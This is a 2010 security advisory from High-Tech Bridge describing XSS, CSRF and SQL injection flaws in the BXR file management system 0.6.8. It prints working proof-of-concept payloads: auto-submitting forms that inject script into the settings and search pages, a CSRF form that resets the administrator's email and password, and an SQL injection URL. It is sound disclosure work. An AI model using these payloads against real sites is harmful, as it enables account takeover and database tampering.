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Multiple Vulnerabilities in BXR

Advisory ID:HTB22503
Product:BXR
Vendor:Hulihan Applications
Vulnerable Versions:0.6.8 and probably prior
Tested Version:0.6.8
Advisory Publication:July 22, 2010 [without technical details]
Vendor Notification:July 22, 2010
Public Disclosure:August 5, 2010
Latest Update:July 26, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
SQL Injection [CWE-89]
CVE Reference:CVE-2010-4963
Risk Level:High
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in BXR which could be exploited to perform cross-site scripting, cross-site request forgery and SQL injection attacks.


1) Cross-site scripting (XSS) vulnerability in BXR

1.1 The vulnerability exists due to input sanitation error in the "setting[site_title]" parameter in /settings/update_settings/. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.

Exploitation example:
<form action="http://host/settings/update_settings" method="post" name="main" >
<input type="hidden" name="setting[site_title]" value='BXR File Management System"><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_keywords]" value="BXR, Open Source File Management System" />
<input type="hidden" name="setting[site_description]" value="The Free, Open Source, Ruby on Rails File Management System." />
<input type="hidden" name="setting[let_users_change_default_folder]" value="0" />
<input type="hidden" name="setting[use_ferret]" value="0" />
<input type="hidden" name="setting[overwrite_existing_files]" value="0" />
<input type="hidden" name="commit" value="Update Settings" />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to input sanitation error in the "search[query]" parameter in /search/show_results /. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.

Exploitation example:
<form action="http://host/search/show_results" method="post" name="main" >
<input type="hidden" name="search_type" value="filename" />
<input type="hidden" name="search[query]" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Find!" />
</form>
<script>
document.main.submit();
</script>

1.3 The vulnerability exists due to input sanitation error in the "tag_1" parameter in /file/do_the_upload/. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.


2) Cross-site request forgery in BXR

The vulnerability exists due to insufficient validation of the request origin in user/update/. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.

Exploitation example:
<form action="http://host/user/update/1" method="post" name="main" >
<input type="hidden" name="user[name]" value="admin" />
<input type="hidden" name="user[email]" value="myemail@example.com" />
<input type="hidden" name="user[password]" value="123" />
<input type="hidden" name="user[password_confirmation]" value="123" />
<input type="hidden" name="belongs_to_group[1]" value="yes" />
<input type="hidden" name="user[default_folder_id]" value="1" />
<input type="hidden" name="commit" value="Save" />
</form>
<script>
document.main.submit();
</script>


3) SQL injection vulnerability in BXR: CVE-2010-4963

The vulnerability exists due to input sanitation errors in the "order_by" parameter in /folder/list. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.

Exploitation example:
http://host/folder/list?order_by=filesize'+SQL


Solution:
Upgrade to the most recent version


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB22503 - https://www.htbridge.com/advisory/HTB22503 - Multiple Vulnerabilities in BXR
[2] BXR - hulihanapplications.com/projects/bxr – BXR is an open source file management system powered by Ruby on Rails.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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